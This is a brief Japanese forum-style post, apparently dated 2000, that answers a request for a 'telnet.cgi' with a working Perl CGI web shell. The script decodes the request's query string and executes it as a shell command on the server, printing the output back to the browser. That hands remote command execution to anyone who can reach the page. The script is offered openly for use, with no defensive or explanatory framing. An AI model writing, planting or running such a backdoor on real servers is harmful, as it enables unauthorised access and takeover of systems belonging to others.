> 誰かtelnet.cgi早く

#!/usr/local/bin/perl

$cmd = $ENV{'QUERY_STRING'};
$cmd =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack('C', hex($1))/eg;
print "Content-type: text/plain\n\n", `$cmd`;

参考：2000/10/18(水)13時12分30秒